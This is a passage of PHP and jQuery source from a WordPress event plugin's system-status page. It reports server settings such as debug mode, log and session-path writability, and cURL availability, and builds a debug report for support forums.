        echo '<mark class="yes">' . wp_convert_bytes_to_hr($memory) . '</mark>';
    }
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('WP Debug Mode', 'event_espresso');
    ?>
</td>
                    <td><?php 
    if (defined('WP_DEBUG') && WP_DEBUG) {
        echo '<mark class="yes">' . __('Yes', 'event_espresso') . '</mark>';
    } else {
        echo '<mark class="no">' . __('No', 'event_espresso') . '</mark>';
    }
    ?>
</td>
                </tr>
                <tr>
                    <td><?php 
    _e('Espresso Logging', 'event_espresso');
    ?>
</td>
                    <td><?php 
    if (@fopen(EVENT_ESPRESSO_UPLOAD_DIR . '/logs/espresso_log.txt', 'a')) {
        echo '<mark class="yes">' . __('Log directory is writable.', 'event_espresso') . '</mark>';
    } else {
        echo '<mark class="error">' . __('Log directory (<code>espresso/logs/</code>) is not writable. Logging will not be possible.', 'event_espresso') . '</mark>';
    }
    ?>
</td>
                </tr>
            </tbody>

            <thead>
				<tr>
					<th colspan="2"><?php 
    _e('PHP Sessions', 'event_espresso');
    ?>
</th>
				</tr>
			</thead>

			<tbody>
            	<tr>
                    <td><?php 
    _e('Session save path', 'event_espresso');
    ?>
</td>
					<td><?php 
    $save_path = session_save_path();
    if (!is_dir($save_path)) {
        echo '<mark class="error">' . sprintf(__('<code>%s</code> does not exist - contact your host to resolve the problem.', 'event_espresso'), $save_path) . '</mark>';
    } elseif (!is_writeable($save_path)) {
        echo '<mark class="error">' . sprintf(__('<code>%s</code> is not writable - contact your host to resolve the problem.', 'event_espresso'), $save_path) . '</mark>';
    } else {
        echo '<mark class="yes">' . sprintf(__('<code>%s</code> is writable.', 'event_espresso'), $save_path) . '</mark>';
    }
    ?>
</td>
                </tr>
                <tr>
                	<td><?php 
    _e('Session name', 'event_espresso');
    ?>
</td>
                	<td><?php 
    echo session_name();
    ?>
</td>
                </tr>
            </tbody>

            <thead>
				<tr>
					<th colspan="2"><?php 
    _e('Remote Posting/IPN', 'event_espresso');
    ?>
</th>
				</tr>
			</thead>

			<?php 
    $posting = array();
    // fsockopen/cURL
    $posting['fsockopen_curl']['name'] = __('fsockopen/cURL', 'event_espresso');
    if (function_exists('fsockopen') || function_exists('curl_init')) {
        if (function_exists('fsockopen') && function_exists('curl_init')) {
            $posting['fsockopen_curl']['note'] = __('Your server has fsockopen and cURL enabled.', 'event_espresso');
        } elseif (function_exists('fsockopen')) {
            $posting['fsockopen_curl']['note'] = __('Your server has fsockopen enabled, cURL is disabled.', 'event_espresso');
        } else {
            $posting['fsockopen_curl']['note'] = __('Your server has cURL enabled, fsockopen is disabled.', 'event_espresso');
        }
        $posting['fsockopen_curl']['success'] = true;
    } else {
        $posting['fsockopen_curl']['note'] = __('Your server does not have fsockopen or cURL enabled - PayPal IPN and other scripts which communicate with other servers will not work. Contact your hosting provider.', 'event_espresso') . '</mark>';
        $posting['fsockopen_curl']['success'] = false;
    }
    // WP Remote Post Check
    /*$posting['wp_remote_post']['name'] = __('WP Remote Post Check','event_espresso');
    				$request['cmd'] = '_notify-validate';
    				$params = array(
    					'sslverify' 	=> false,
    		        	'timeout' 		=> 60,
    		        	'user-agent'	=> 'Event Espresso/' . espresso_version(),
    		        	'body'			=> $request
    				);
    				$response = wp_remote_post( 'https://www.paypal.com/cgi-bin/webscr', $params );
    
    				if ( ! is_wp_error( $response ) && $response['response']['code'] >= 200 && $response['response']['code'] < 300 ) {
                		$posting['wp_remote_post']['note'] = __('wp_remote_post() was successful - PayPal IPN is working.', 'event_espresso');
                		$posting['wp_remote_post']['success'] = true;
                	} elseif ( is_wp_error( $response ) ) {
                		$posting['wp_remote_post']['note'] = __('wp_remote_post() failed. PayPal IPN won\'t work with your server. Contact your hosting provider. Error:', 'event_espresso') . ' ' . $response->get_error_message();
                		$posting['wp_remote_post']['success'] = false;
                	} else {
    	            	$posting['wp_remote_post']['note'] = __('wp_remote_post() failed. PayPal IPN may not work with your server.', 'event_espresso');
                		$posting['wp_remote_post']['success'] = false;
                	}*/
    $posting = apply_filters('wc_debug_posting', $posting);
    ?>

			<tbody>
			<?php 
    foreach ($posting as $post) {
        $mark = isset($post['success']) && $post['success'] == true ? 'yes' : 'error';
        ?>
				<tr>
                    <td><?php 
        echo $post['name'];
        ?>
</td>
                    <td>
                    	<mark class="<?php 
        echo $mark;
        ?>
">
	                    	<?php 
        echo $post['note'];
        ?>
                    	</mark>
                    </td>
                </tr>
			<?php 
    }
    ?>
            </tbody>
		</table>

	</div>
	<script type="text/javascript">

		jQuery('a.debug-report').click(function(){

			if ( ! jQuery('#debug-report').val() ) {

				// Generate report - user can paste into forum
				var report = '`';

				jQuery('thead:not(".tools"), tbody:not(".tools")', '.ee_status_table').each(function(){

					$this = jQuery( this );

					if ( $this.is('thead') ) {

						report = report + "\n=============================================================================================\n";
						report = report + " " + jQuery.trim( $this.text() ) + "\n";
						report = report + "=============================================================================================\n";

					} else {

						jQuery('tr', $this).each(function(){

							$this = jQuery( this );

							report = report + $this.find('td:eq(0)').text() + ": \t";
							report = report + $this.find('td:eq(1)').text() + "\n";

						});

					}

				});

				report = report + '`';

				jQuery('#debug-report').val( report );
			}

			jQuery('#debug-report').slideToggle('500', function() {
				jQuery(this).select();
			});

      		return false;

		});

	</script>
	<?php 
}